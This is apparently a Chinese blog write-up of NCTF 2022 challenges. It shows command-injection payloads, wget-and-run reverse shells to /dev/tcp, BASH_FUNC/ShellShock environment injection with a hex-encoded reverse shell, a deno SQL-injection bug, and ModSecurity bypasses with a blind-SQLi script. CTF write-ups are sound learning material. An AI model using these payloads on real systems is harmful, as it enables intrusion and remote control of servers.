2022NCTF的部分wp及复现

Misc

Signin

程序设计实验作业,但是签到题(听zys说建议把终端字体调小一点并且只需要输入一串来自35年前的神秘秘籍

35年前的秘籍,就是魂斗罗的秘籍

上、上、下、下、左、右、左、右、B、A、B、A

就可以得到flag

image-20221203151055783

NCTF{VVe1c0m3_T0_NCTF_2022!!!}

Web

calc

  • 命令注入
  • 环境变量注入

非预期

image-20221205083628550

网页源码里有提示/source,得到源码

    @app.route("/calc",methods=['GET'])
def calc():
    ip = request.remote_addr
    num = request.values.get("num")
    log = "echo {0} {1} {2}> ./tmp/log.txt".format(time.strftime("%Y%m%d-%H%M%S",time.localtime()),ip,num)
    
    if waf(num):
        try:
            data = eval(num)
            os.system(log)
        except:
            pass
        return str(data)
    else:
        return "waf!!"
    

得知这里有waf,通过报错页面可以得到waf的内容image-20221205084607722

def waf(s):
    blacklist = ['import','(',')','#','@','^','$',',','>','?','`',' ','_','|',';','"','{','}','&','getattr','os','system','class','subclasses','mro','request','args','eval','if','subprocess','file','open','popen','builtins','compile','execfile','from_pyfile','config','local','self','item','getitem','getattribute','func_globals','__init__','join','__dict__']
    flag = True
    for no in blacklist:
        if no.lower() in s.lower():
            flag= False
            print(no)
            break
    return flag

这里是走os.system()利用换行来执行多条命令

但是要先让eval()执行成功才能走到os.system

所以要用’‘‘来表示python的多行代码,同时os.system执行第一条执行成功后才会执行第二条命令,所以要加一个’来闭合前面的’’',结尾同理

用%09来替代空格

这里有两种方法

复制flag文件到static文件夹

static文件夹是flask的静态文件夹,我们是可以访问到的

而且在报错页面也可以知道app.py的运行目录

payload:

GET: /calc?num='''w'%0acp%09/*f*%09/home/static/v2%0a'123'''#f也可以换成大写试一下

这条代码执行后的log是

image-20221205092316035

然后在/static/v2下载就行

但是如果有坏b把flag文件弄走了就没办法了

反弹shell

因为反弹shell的命令里有被ban的字符,可以先把命令下载下来,然后再去执行他

v2.sh

#! /bin/bash
bash -c ' bash -i &> /dev/tcp/{vpshost}/{vpsport} 0>&1'

payload

GET: /calc?num='''w'%0awget%09{vpshost}/v2.sh%0a'123'''
GET: /calc?num='''w'%0abash%09v2.sh%0a'123'''

image-20221205100635894


原来我上面写的是非预期XD

预期解【calc_revenge

出题师傅的预期解是利用环境变量注入来执行命令,这里涉及到p佬的一篇文章我是如何利用环境变量注入执行任意命令

这里是因为python3的os.system()也是利用/bin/sh -c 来执行的

在subproccess.py文件中

image-20221208232726462

所以可以使用环境变量进行注入

p佬文章中的三个poc

  • Bash没有修复ShellShock漏洞:直接使用ShellShock的POC进行测试,例如TEST=() { :; }; id;
  • Bash 4.4以前:env $'BASH_FUNC_echo()=() { id; }' bash -c "echo hello"
  • Bash 4.4及以上:env $'BASH_FUNC_echo%%=() { id; }' bash -c 'echo hello'

在CentOS系系统下完美解决本文开头提到的问题,通杀所有Bash。

变量覆盖

接下来就是进行环境变量的覆盖,因为python的环境变量是以字典的形式存在的

可以使用python的list生成器和中括号进行变量覆盖

a={"aaa":'123'}
[[str][0]for[a['aaa']]in[['111']]]
print(a)
#{'aaa': '111'}

Python黑魔法-绕过空格实现变量覆盖(这篇文章中有写过原理,但是使用这里面的方式成功不了,本地都无法执行)

然后就是进行覆盖了,一个个试poc

绕过waf

在引号包裹中的字符可以使用绕过,16进制或者unicode编码都行

然后就是绕过os,这个没有被引号包裹的字符

这里直接使用Pupi1师傅的文字

但实际上python是支持Non-ASCII Identifies也就是说可以使用unicode字符的,具体参考见: https://peps.python.org/pep-3131/ ,也就是说如果我们使用了UTF-8中的非ASCII码作为标识符,那么其会被函数转换为NFKC标准格式,也就是说我们可以使用例如来代替o,从而绕过限制。

最终的payload:

[[str][0]for[ᵒs.environ['BASH\x5fFUNC\x5fecho%%']]in[['\x28\x29\x20\x7b\x20\x62\x61\x73\x68\x20\x2d\x69\x20\x3e\x26\x20\x2f\x64\x65\x76\x2f\x74\x63\x70\x2f\x78\x78\x2e\x78\x78\x2e\x78\x78\x2e\x78\x78\x2f\x78\x78\x78\x78\x20\x30\x3e\x26\x31\x3b\x7d']]]
#() { bash -i >& /dev/tcp/xx.xx.xx.xx/xxxx 0>&1;}

ez_sql

  • deno的bug

这个在hack.lu ctf中出现过

foodAPI

在后面多传一个?参数就会造成bug,从而导致注入

摘自HuLi的博客:

但是deno 的lib 忘记对栏位名称的 ? 做escape 了,所以如果你传:{"id":"1", "?": "A"},最后出来的SQL 会是:

select * from  `food`  where  `id` =? and  `?` =?

而bind 完之后就会变成:

select * from  `food`  where  `id` = '1'  and  `'A'` =?

你会发现A 那边可以做SQL injection,只要先闭合那个反引号就行了。

但问题是这样会产生不合法的栏位名称,因为里面一定有个单引号,像这样:

select * from  `food`  where  `id` = '1'  and  `'name` --'=?

会出现:

Error: no such column: 'name

然后使用下面的闭合方式可以绕过不存在的字段名

select  id  from food where  `'not_exist'`  and  0  union  select  1 ; 
select  id  from food where  `'not_exist'`  in () union  select  1 ;

payload:

GET: /flight?id=1&?=`+and+0+union+select+1,flag+from+flag --

image-20221205170802842

ez_bypass

  • modsecurity bypass

payload1

给出的hint里知道waf用的是modsecurity

ModSecurity是一个开源的、跨平台的Web应用防火墙(WAF),被称为WAF界的“瑞士军刀”。它可以通过检查Web服务接收到的数据,以及发送出去的数据来对网站进行安全防护

在网上搜bypass方法

https://blog.h3xstream.com/2021/10/bypassing-modsecurity-waf.html

modsecurity是利用Libinjection进行语义分析,所以常规的and,or,||,&&都不能用了作为连接符

这里使用^(异或)来连接两个语句从而进行注入

GET: /sql.php?id=1^(1.e(ascii 1.e(substring(1.e(select password from users.info where id=1) 1.e,{} 1.e,1 1.e)1.e)1.e)={})

当正确的时候,页面不会有回显

利用脚本进行盲注

import requests
import time
url="http://121.37.11.207:8099/sql.php?id="

payload1="1^(1.e(ascii 1.e(substring(1.e(select password from users.info where id=1) 1.e,{} 1.e,1 1.e)1.e)1.e)={})"
result=''
for x in range(1,43):
    for i in range(32,128):
        url_end=url+payload1.format(x,i)
        res=requests.get(url_end)
        if "letian" not in res.text:
            result+=chr(i)
            print(result)
            break

payload2

利用这篇文章的payloadhttps://github.com/SpiderLabs/owasp-modsecurity-crs/issues/1727

http://121.37.11.207:8099/sql.php?id=@.:=right(right((select hex(password) from users.info limit 0,1),1111),1111) union%23%0adistinctrow%0bselect@.

image-20221205192932575

  • 2
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

v2ish1yan

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值